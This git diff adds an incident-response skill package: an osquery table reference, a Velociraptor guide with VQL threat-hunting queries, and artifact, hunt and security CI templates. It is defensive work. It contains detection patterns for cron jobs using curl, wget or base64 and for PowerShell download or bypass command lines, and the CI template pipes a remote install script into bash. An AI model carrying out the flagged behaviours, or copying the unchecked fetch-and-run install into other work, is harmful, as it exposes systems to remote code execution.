+ +User groups. + +**Key columns**: gid, groupname + +```sql +-- List all groups +SELECT gid, groupname FROM groups; +``` + +### user_groups + +User-to-group mappings. + +**Key columns**: uid, gid + +```sql +-- Users in admin groups +SELECT u.username, g.groupname +FROM users u +JOIN user_groups ug ON u.uid = ug.uid +JOIN groups g ON ug.gid = g.gid +WHERE g.groupname IN ('sudo', 'wheel', 'admin', 'root'); +``` + +## System Information Tables + +### system_info + +System hardware and OS information. + +**Key columns**: hostname, uuid, cpu_type, cpu_brand, physical_memory, hardware_model + +```sql +-- System information +SELECT hostname, cpu_brand, physical_memory, hardware_model FROM system_info; +``` + +### os_version + +Operating system version details. + +**Key columns**: name, version, major, minor, patch, build, platform + +```sql +-- OS version +SELECT name, version, platform, build FROM os_version; +``` + +### kernel_info + +Kernel version and parameters. + +**Key columns**: version, arguments, path, device + +```sql +-- Kernel information +SELECT version, arguments FROM kernel_info; +``` + +### uptime + +System uptime. + +**Key columns**: days, hours, minutes, seconds, total_seconds + +```sql +-- System uptime +SELECT days, hours, minutes FROM uptime; +``` + +## Persistence Mechanism Tables + +### crontab + +Scheduled cron jobs (Linux/macOS). + +**Key columns**: event, minute, hour, day_of_month, month, day_of_week, command, path + +```sql +-- All cron jobs +SELECT event, command, path FROM crontab; + +-- Suspicious cron commands +SELECT * FROM crontab +WHERE command LIKE '%curl%' + OR command LIKE '%wget%' + OR command LIKE '%/tmp/%' + OR command LIKE '%base64%'; +``` + +### scheduled_tasks (Windows) + +Windows scheduled tasks. + +**Key columns**: name, action, path, enabled, state + +```sql +-- Enabled scheduled tasks +SELECT name, action, path, state FROM scheduled_tasks WHERE enabled = 1; +``` + +### startup_items (macOS) + +macOS startup items. + +**Key columns**: name, path, args, type, source, status + +```sql +-- macOS startup items +SELECT name, path, type, source FROM startup_items; +``` + +### launchd (macOS) + +macOS launch agents and daemons. + +**Key columns**: name, path, program, program_arguments, run_at_load, keep_alive + +```sql +-- Launch agents/daemons that run at load +SELECT name, path, program, program_arguments +FROM launchd +WHERE run_at_load = 1; +``` + +### registry (Windows) + +Windows registry access. + +**Key columns**: key, name, type, data, path + +```sql +-- Registry Run keys +SELECT key, name, path, data +FROM registry +WHERE key LIKE '%Run%' OR key LIKE '%RunOnce%'; +``` + +### services (Windows) + +Windows services. + +**Key columns**: name, display_name, status, path, start_type, user_account + +```sql +-- Auto-start services +SELECT name, display_name, path, user_account +FROM services +WHERE start_type = 'AUTO_START'; +``` + +### systemd_units (Linux) + +Linux systemd services. + +**Key columns**: id, description, load_state, active_state, sub_state, fragment_path + +```sql +-- Active systemd services +SELECT id, description, active_state, fragment_path +FROM systemd_units +WHERE active_state = 'active'; + +-- Non-default systemd services +SELECT * FROM systemd_units +WHERE fragment_path NOT LIKE '/usr/lib/systemd/system/%' + AND fragment_path NOT LIKE '/lib/systemd/system/%'; +``` + +## Platform-Specific Tables + +### kernel_modules (Linux) + +Loaded kernel modules. + +**Key columns**: name, size, used_by, status, address + +```sql +-- Loaded kernel modules +SELECT name, size, used_by, status FROM kernel_modules; +``` + +### kernel_extensions (macOS) + +macOS kernel extensions (kexts). + +**Key columns**: name, version, path, loaded + +```sql +-- Loaded kernel extensions +SELECT name, version, path FROM kernel_extensions WHERE loaded = 1; +``` + +### drivers (Windows) + +Windows device drivers. + +**Key columns**: device_id, device_name, image, provider, service, service_key + +```sql +-- Loaded drivers +SELECT device_name, image, provider, service FROM drivers; +``` + +### chrome_extensions + +Chrome browser extensions. + +**Key columns**: name, identifier, version, description, path, author + +```sql +-- Installed Chrome extensions +SELECT name, version, description, path FROM chrome_extensions; +``` + +### firefox_addons + +Firefox browser add-ons. + +**Key columns**: name, identifier, version, description, source_url, visible + +```sql +-- Installed Firefox add-ons +SELECT name, version, description, source_url FROM firefox_addons; +``` + +## Query Optimization Tips + +1. **Use WHERE clauses**: Always filter results to reduce query time + ```sql + -- Bad: SELECT * FROM processes; + -- Good: SELECT * FROM processes WHERE uid = 0; + ``` + +2. **Limit results**: Use LIMIT for large result sets + ```sql + SELECT * FROM file WHERE path LIKE '/usr/%' LIMIT 100; + ``` + +3. **Index columns**: Use indexed columns in WHERE clauses (pid, uid, path) + +4. **Join efficiently**: Start with smaller tables when joining + ```sql + SELECT * FROM listening_ports lp + JOIN processes p ON lp.pid = p.pid; -- listening_ports is usually smaller + ``` + +5. **Time filtering**: Use time comparisons for event tables + ```sql + WHERE time > (strftime('%s', 'now') - 3600) -- Last hour + ``` + +## Reference + +- [osquery Schema Documentation](https://osquery.io/schema/) +- [Table schemas by version](https://osquery.io/schema/) diff --git a/skills/incident-response/ir-velociraptor/SKILL.md b/skills/incident-response/ir-velociraptor/SKILL.md new file mode 100644 index 0000000..3d706af --- /dev/null +++ b/skills/incident-response/ir-velociraptor/SKILL.md @@ -0,0 +1,333 @@ +--- +name: ir-velociraptor +description: > + Endpoint visibility, digital forensics, and incident response using Velociraptor + Query Language (VQL) for evidence collection and threat hunting at scale. Use when: + (1) Conducting forensic investigations across multiple endpoints, (2) Hunting for + indicators of compromise or suspicious activities, (3) Collecting endpoint telemetry + and artifacts for incident analysis, (4) Performing live response and evidence + preservation, (5) Monitoring endpoints for security events, (6) Creating custom + forensic artifacts for specific threat scenarios. +version: 0.1.0 +maintainer: SirAppSec +category: incident-response +tags: [forensics, incident-response, endpoint-detection, threat-hunting, vql, dfir, live-response, evidence-collection] +frameworks: [MITRE-ATT&CK, NIST] +dependencies: + tools: [velociraptor] +references: + - https://docs.velociraptor.app/ + - https://github.com/Velocidex/velociraptor + - https://docs.velociraptor.app/artifact_references/ +--- + +# Velociraptor Incident Response + +## Overview + +Velociraptor is an endpoint visibility and forensics platform for collecting host-based state information using Velociraptor Query Language (VQL). It operates in three core modes: **Collect** (targeted evidence gathering), **Monitor** (continuous event capture), and **Hunt** (proactive threat hunting). + +**When to use this skill**: +- Active incident response requiring endpoint evidence collection +- Threat hunting across enterprise infrastructure +- Digital forensics investigations and timeline analysis +- Endpoint monitoring and anomaly detection +- Custom forensic artifact development for specific threats + +## Quick Start + +### Local Forensic Triage (Standalone Mode) + +```bash +# Download Velociraptor binary for your platform +# https://github.com/Velocidex/velociraptor/releases + +# Run GUI mode for interactive investigation +velociraptor gui + +# Access web interface at https://127.0.0.1:8889/ +# Default admin credentials shown in console output +``` + +### Enterprise Server Deployment + +```bash +# Generate server configuration +velociraptor config generate > server.config.yaml + +# Start server +velociraptor --config server.config.yaml frontend + +# Generate client configuration +velociraptor --config server.config.yaml config client > client.config.yaml + +# Deploy clients across endpoints +velociraptor --config client.config.yaml client +``` + +## Core Incident Response Workflows + +### Workflow 1: Initial Compromise Investigation + +Progress: +[ ] 1. Identify affected endpoints and timeframe +[ ] 2. Collect authentication logs and suspicious logins +[ ] 3. Gather process execution history and command lines +[ ] 4. Extract network connection artifacts +[ ] 5. Collect persistence mechanisms (scheduled tasks, autoruns, services) +[ ] 6. Analyze file system modifications and suspicious files +[ ] 7. Extract memory artifacts if needed +[ ] 8. Build timeline and document IOCs + +Work through each step systematically. Check off completed items. + +**Key VQL Artifacts**: +- `Windows.EventLogs.RDP` - Remote desktop authentication events +- `Windows.System.Pslist` - Running processes with details +- `Windows.Network.NetstatEnriched` - Network connections with process context +- `Windows.Persistence.PermanentWMIEvents` - WMI-based persistence +- `Windows.Timeline.Prefetch` - Program execution timeline +- `Windows.Forensics.Timeline` - Comprehensive filesystem timeline + +### Workflow 2: Threat Hunting Campaign + +Progress: +[ ] 1. Define threat hypothesis and IOCs +[ ] 2. Select or create custom VQL artifacts for detection +[ ] 3. Create hunt targeting relevant endpoint groups +[ ] 4. Execute hunt across infrastructure +[ ] 5. Monitor collection progress and errors +[ ] 6. Analyze results and identify positive matches +[ ] 7. Triage findings and escalate confirmed threats +[ ] 8. Document TTPs and update detections + +Work through each step systematically. Check off completed items. + +**Common Hunt Scenarios**: +- Lateral movement detection (PsExec, WMI, remote services) +- Webshell identification on web servers +- Suspicious scheduled task discovery +- Credential dumping tool artifacts +- Malicious PowerShell execution patterns + +### Workflow 3: Evidence Collection for Forensics + +Progress: +[ ] 1. Document collection requirements and scope +[ ] 2. Create offline collector with required artifacts +[ ] 3. Deploy collector to target endpoint(s) +[ ] 4. Execute collection and verify completion +[ ] 5. Retrieve collection archive +[ ] 6. Validate evidence integrity (hashes) +[ ] 7. Import into forensic platform for analysis +[ ] 8. Document chain of custody + +Work through each step systematically. Check off completed items. + +```bash +# Create offline collector (no server required) +velociraptor --config server.config.yaml artifacts collect \ + Windows.KapeFiles.Targets \ + Windows.EventLogs.Evtx \ + Windows.Registry.Sysinternals.Eulacheck \ + --output /path/to/collection.zip + +# For custom artifact collection +velociraptor artifacts collect Custom.Artifact.Name --args param=value +``` + +## VQL Query Patterns + +### Pattern 1: Process Investigation + +Search for suspicious process execution patterns: + +```sql +-- Find processes with unusual parent-child relationships +SELECT Pid, Ppid, Name, CommandLine, Username, Exe +FROM pslist() +WHERE Name =~ "(?i)(powershell|cmd|wscript|cscript)" + AND CommandLine =~ "(?i)(invoke|download|iex|bypass|hidden)" +``` + +### Pattern 2: Network Connection Analysis + +Identify suspicious network connections: + +```sql +-- Active connections with process context +SELECT Laddr.IP AS LocalIP, + Laddr.Port AS LocalPort, + Raddr.IP AS RemoteIP, + Raddr.Port AS RemotePort, + Status, Pid, + process_tracker_get(id=Pid).Name AS ProcessName, + process_tracker_get(id=Pid).CommandLine AS CommandLine +FROM netstat() +WHERE Status = "ESTABLISHED" + AND Raddr.IP =~ "^(?!10\\.)" -- External IPs only +``` + +### Pattern 3: File System Forensics + +Timeline suspicious file modifications: + +```sql +-- Recent file modifications in suspicious locations +SELECT FullPath, Size, Mtime, Atime, Ctime, Btime +FROM glob(globs="C:/Users/*/AppData/**/*.exe") +WHERE Mtime > timestamp(epoch=now() - 86400) -- Last 24 hours +ORDER BY Mtime DESC +``` + +### Pattern 4: Registry Persistence + +Hunt for registry-based persistence: + +```sql +-- Common autorun registry keys +SELECT Key.Name AS RegistryKey, + ValueName, + ValueData +FROM read_reg_key(globs="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/*") +WHERE ValueData =~ "(?i)(powershell|cmd|wscript|rundll32)" +``` + +For comprehensive VQL patterns and advanced queries, see [references/vql-patterns.md](references/vql-patterns.md) + +## Custom Artifact Development + +Create custom VQL artifacts for specific investigation needs: + +```yaml +name: Custom.Windows.SuspiciousProcess +description: | + Detect processes with suspicious characteristics for incident response. + +parameters: + - name: ProcessNameRegex + default: "(?i)(powershell|cmd|wscript)" + type: regex + - name: CommandLineRegex + default: "(?i)(invoke|download|bypass)" + type: regex + +sources: + - query: | + SELECT Pid, Ppid, Name, CommandLine, Username, Exe, CreateTime + FROM pslist() + WHERE Name =~ ProcessNameRegex + AND CommandLine =~ CommandLineRegex +``` + +Save artifacts in YAML format and import via Velociraptor UI or command line. + +**For artifact development guidance**, see [references/artifact-development.md](references/artifact-development.md) + +## Security Considerations + +- **Sensitive Data Handling**: VQL queries can collect credentials, PII, and sensitive files. Implement data minimization - only collect necessary evidence. Use encryption for evidence transport and storage. + +- **Access Control**: Velociraptor server access provides significant endpoint control. Implement RBAC, audit all queries, and restrict administrative access. Use client certificates for authentication. + +- **Audit Logging**: All VQL queries, hunts, and collections are logged. Enable audit trail for compliance. Document investigation scope and approvals. + +- **Compliance**: Ensure evidence collection follows organizational policies and legal requirements. Document chain of custody for forensic investigations. Consider data sovereignty for multi-region deployments. + +- **Operational Security**: Velociraptor generates significant endpoint activity. Plan for network bandwidth, endpoint performance impact, and detection by adversaries during covert investigations. + +## Common Investigation Patterns + +### Pattern: Ransomware Investigation + +1. Identify patient zero endpoint +2. Collect: `Windows.Forensics.Timeline` for file modification patterns +3. Collect: `Windows.EventLogs.Evtx` for authentication events +4. Hunt for: Lateral movement artifacts across network +5. Hunt for: Scheduled tasks or services for persistence +6. Extract: Ransomware binary samples for malware analysis +7. Build: Timeline of infection spread and data encryption + +### Pattern: Data Exfiltration Detection + +1. Collect network connection history: `Windows.Network.NetstatEnriched` +2. Identify large outbound transfers to unusual destinations +3. Correlate with process execution and file access +4. Hunt for: Compression tools or staging directories +5. Examine: Browser downloads and cloud sync activities +6. Review: DNS queries for tunneling or C2 domains +7. Document: Data classification and breach scope + +### Pattern: Insider Threat Investigation + +1. Collect: User authentication and logon events +2. Track: USB device connections and file transfers +3. Monitor: Sensitive file access patterns +4. Review: Email and browser history (with authorization) +5. Analyze: Print spooler activity for document printing +6. Examine: Cloud storage access and uploads +7. Build: User activity timeline with behavioral anomalies + +## Integration Points + +- **SIEM Integration**: Export VQL results to Splunk, Elastic, or other SIEM platforms for correlation +- **Threat Intel Platforms**: Enrich IOCs with TIP integrations via VQL plugins +- **SOAR Platforms**: Trigger automated Velociraptor hunts from SOAR playbooks +- **Forensic Suites**: Import Velociraptor collections into X-Ways, Autopsy, or EnCase +- **EDR Interoperability**: Complement EDR with custom VQL detections and forensic depth + +## Troubleshooting + +### Issue: High CPU Usage During Collection + +**Solution**: +- Limit concurrent VQL queries using `rate()` function +- Reduce glob scope to specific directories +- Use `--ops_per_second` limit when creating offline collectors +- Schedule resource-intensive hunts during maintenance windows + +### Issue: Client Not Reporting to Server + +**Solution**: +- Verify network connectivity and firewall rules (default: TCP 8000) +- Check client logs: `velociraptor --config client.config.yaml logs` +- Validate client certificate and enrollment status +- Ensure server frontend is running and accessible + +### Issue: VQL Query Returns No Results + +**Solution**: +- Test query in local notebook mode first +- Verify filesystem paths use correct syntax (forward slashes) +- Check plugin availability on target OS +- Use `log()` function to debug query execution +- Review client event logs for permission errors + +## Bundled Resources + +### Scripts (`scripts/`) + +- `vql_query_builder.py` - Generate common VQL queries from templates +- `artifact_validator.py` - Validate custom artifact YAML syntax +- `evidence_collector.sh` - Automate offline collector deployment + +### References (`references/`) + +- `vql-patterns.md` - Comprehensive VQL query patterns for common IR scenarios +- `artifact-development.md` - Guide to creating custom forensic artifacts +- `mitre-attack-mapping.md` - MITRE ATT&CK technique detection artifacts +- `deployment-guide.md` - Enterprise server deployment and architecture + +### Assets (`assets/`) + +- `artifact-template.yaml` - Template for custom artifact development +- `hunt-template.yaml` - Hunt configuration template with best practices +- `offline-collector-config.yaml` - Offline collector configuration example + +## References + +- [Velociraptor Documentation](https://docs.velociraptor.app/) +- [VQL Reference](https://docs.velociraptor.app/vql_reference/) +- [Artifact Exchange](https://docs.velociraptor.app/exchange/) +- [GitHub Repository](https://github.com/Velocidex/velociraptor) +- [MITRE ATT&CK Framework](https://attack.mitre.org/) diff --git a/skills/incident-response/ir-velociraptor/assets/.gitkeep b/skills/incident-response/ir-velociraptor/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/incident-response/ir-velociraptor/assets/artifact-template.yaml b/skills/incident-response/ir-velociraptor/assets/artifact-template.yaml new file mode 100644 index 0000000..02aecac --- /dev/null +++ b/skills/incident-response/ir-velociraptor/assets/artifact-template.yaml @@ -0,0 +1,133 @@ +--- +# Velociraptor Artifact Template +# Use this template to create custom forensic artifacts for incident response + +name: Custom.IR.TemplateArtifact +description: | + Provide a comprehensive description of what this artifact collects and why. + + ## Use Cases + - Specific scenario 1 + - Specific scenario 2 + - Specific scenario 3 + + ## Expected Output + Describe what data will be collected and its format. + + ## MITRE ATT&CK Mapping + - T1XXX.XXX: Technique Name + +# Author information (optional but recommended) +author: Your Name + +# Artifact type: CLIENT, SERVER, CLIENT_EVENT, SERVER_EVENT +type: CLIENT + +# Parameters allow artifact customization +parameters: + - name: SearchPath + default: "C:/Users/**/AppData/**" + type: string + description: | + Directory path or glob pattern to search. + Supports wildcards: * (any characters), ** (recursive) + + - name: DaysBack + default: 7 + type: int + description: Number of days to look back for modifications + + - name: FilePattern + default: "*.exe" + type: string + description: File extension or pattern to match + + - name: IncludeHashes + default: Y + type: bool + description: Calculate SHA256 hash for each file + + - name: MaxFileSize + default: 104857600 + type: int + description: Maximum file size to hash (bytes, default 100MB) + +# Optional: Check before running (OS, tool presence, etc.) +precondition: | + SELECT OS FROM info() WHERE OS = 'windows' + +# Sources define the VQL queries to execute +sources: + # Main query source + - name: FileCollection + query: | + -- Calculate time threshold + LET StartTime = timestamp(epoch=now() - DaysBack * 86400) + + -- Collect files matching criteria + LET MatchingFiles = SELECT FullPath, + Size, + timestamp(epoch=Mtime) AS ModifiedTime, + timestamp(epoch=Ctime) AS CreatedTime, + timestamp(epoch=Atime) AS AccessedTime + FROM glob(globs=SearchPath + "/" + FilePattern) + WHERE NOT IsDir + AND Mtime > StartTime + AND Size < MaxFileSize + + -- Conditionally add hashes + SELECT FullPath, + Size, + ModifiedTime, + CreatedTime, + AccessedTime, + if(condition=IncludeHashes, + then=hash(path=FullPath, accessor="file").SHA256, + else="") AS SHA256 + FROM MatchingFiles + ORDER BY ModifiedTime DESC + + # Optional: Additional query source for related data + - name: FileMetadata + query: | + -- Example: Get additional metadata for PE files + SELECT FullPath, + parse_pe(file=FullPath) AS PEInfo + FROM glob(globs=SearchPath + "/**/*.exe") + WHERE PEInfo + +# Optional: Report template for formatted output +reports: + - type: CLIENT + template: | + # {{ .ArtifactName }} Results + + **Description:** {{ .Description }} + + **Client:** {{ .ClientId }} + **Hostname:** {{ .Hostname }} + **Collection Time:** {{ .CollectionTime }} + + ## Summary + Total Files Found: {{ len .Rows }} + + ## Detailed Results + + {{ range .Rows }} + ### {{ .FullPath }} + - **Size:** {{ .Size }} bytes + - **Modified:** {{ .ModifiedTime }} + - **SHA256:** {{ .SHA256 }} + --- + {{ end }} + +# Optional: External documentation references +references: + - https://docs.velociraptor.app/docs/vql/ + - https://attack.mitre.org/ + +# Optional: Required external tools or binaries +tools: + - name: ExampleTool + url: https://example.com/tool.exe + serve_locally: true diff --git a/skills/incident-response/ir-velociraptor/assets/ci-config-template.yml b/skills/incident-response/ir-velociraptor/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/incident-response/ir-velociraptor/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/incident-response/ir-velociraptor/assets/hunt-template.yaml b/skills/incident-response/ir-velociraptor/assets/hunt-template.yaml new file mode 100644 index 0000000..13b0e93 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/assets/hunt-template.yaml @@ -0,0 +1,210 @@ +# Velociraptor Hunt Configuration Template +# Use this template to create hunts for organization-wide threat hunting + +hunt_description: | + # Hunt: [Descriptive Name] + + ## Objective + Describe the goal of this hunt (e.g., detect lateral movement, find webshells) + + ## Hypothesis + What threat or activity are you looking for? + + ## Timeline + Start Date: YYYY-MM-DD + Expected Duration: X days + Priority: High/Medium/Low + + ## Artifacts + List of artifacts to collect: + - Artifact.Name.One + - Artifact.Name.Two + + ## Expected Findings + What constitutes a positive match? + + ## Triage Criteria + How to prioritize results for investigation? + +# Hunt Configuration +configuration: + # Artifact to run across endpoints + artifact: Windows.Detection.SuspiciousProcess + + # Artifact parameters (if any) + parameters: + ProcessPattern: "(?i)(powershell|cmd|wscript)" + CommandLinePattern: "(?i)(bypass|hidden|encodedcommand)" + + # Target selection + target: + # Option 1: Include all clients + include_all: true + + # Option 2: Specific client labels + include_labels: + - "Production-Servers" + - "High-Value-Assets" + + # Option 3: Exclude certain clients + exclude_labels: + - "Test-Systems" + + # Option 4: Operating system filter + os_condition: "Windows" + + # Option 5: Custom VQL condition + client_condition: | + SELECT client_id FROM clients() + WHERE os_info.system = "windows" + AND last_seen_at > now() - 3600 + + # Resource limits to prevent endpoint impact + resource_limits: + # Maximum CPU usage percentage + cpu_limit: 50 + + # Maximum number of rows to return per client + max_rows: 10000 + + # Maximum execution time per client (seconds) + max_execution_time: 600 + + # Operations per second limit (for filesystem operations) + ops_per_second: 100 + + # Collection timeout + timeout: 3600 # 1 hour + + # Hunt scheduling + schedule: + # Start immediately + start_time: "now" + + # Or schedule for specific time (RFC3339 format) + # start_time: "2024-01-15T02:00:00Z" + + # Expiration (auto-stop after this time) + expiration: 86400 # 24 hours from start + + # Client rolling deployment + rolling_deployment: + # Enable gradual rollout + enabled: true + + # Number of clients to run on initially + initial_clients: 10 + + # Percentage to add every X minutes + increment_percentage: 10 + increment_interval: 300 # 5 minutes + +# Analysis Guidelines +analysis: + positive_indicators: + - "Process running from temp directory" + - "Obfuscated command line parameters" + - "Unusual parent-child process relationships" + + triage_priority: + critical: + - "Known malicious process names" + - "Connections to known C2 infrastructure" + high: + - "Living-off-the-land binaries with suspicious arguments" + - "PowerShell execution with bypass flags" + medium: + - "Unusual process execution times" + - "Processes running as SYSTEM from user directories" + + investigation_steps: + - "Review full process tree" + - "Check network connections" + - "Examine file system timeline" + - "Correlate with other hunt results" + - "Check threat intelligence feeds" + +# Post-Hunt Actions +post_hunt: + # Notification settings + notifications: + - type: email + recipients: + - ir-team@company.com + on_complete: true + on_match: true + + - type: slack + webhook: "https://hooks.slack.com/services/..." + channel: "#security-alerts" + + # Automatic follow-up collections + follow_up_artifacts: + - name: Windows.Forensics.Timeline + condition: "positive_match" + parameters: + StartDate: "hunt_start_time" + + - name: Windows.Memory.Acquisition + condition: "critical_match" + parameters: + TargetPath: "C:/ir-evidence/" + + # Reporting + reports: + - type: summary + format: html + include_statistics: true + + - type: detailed + format: json 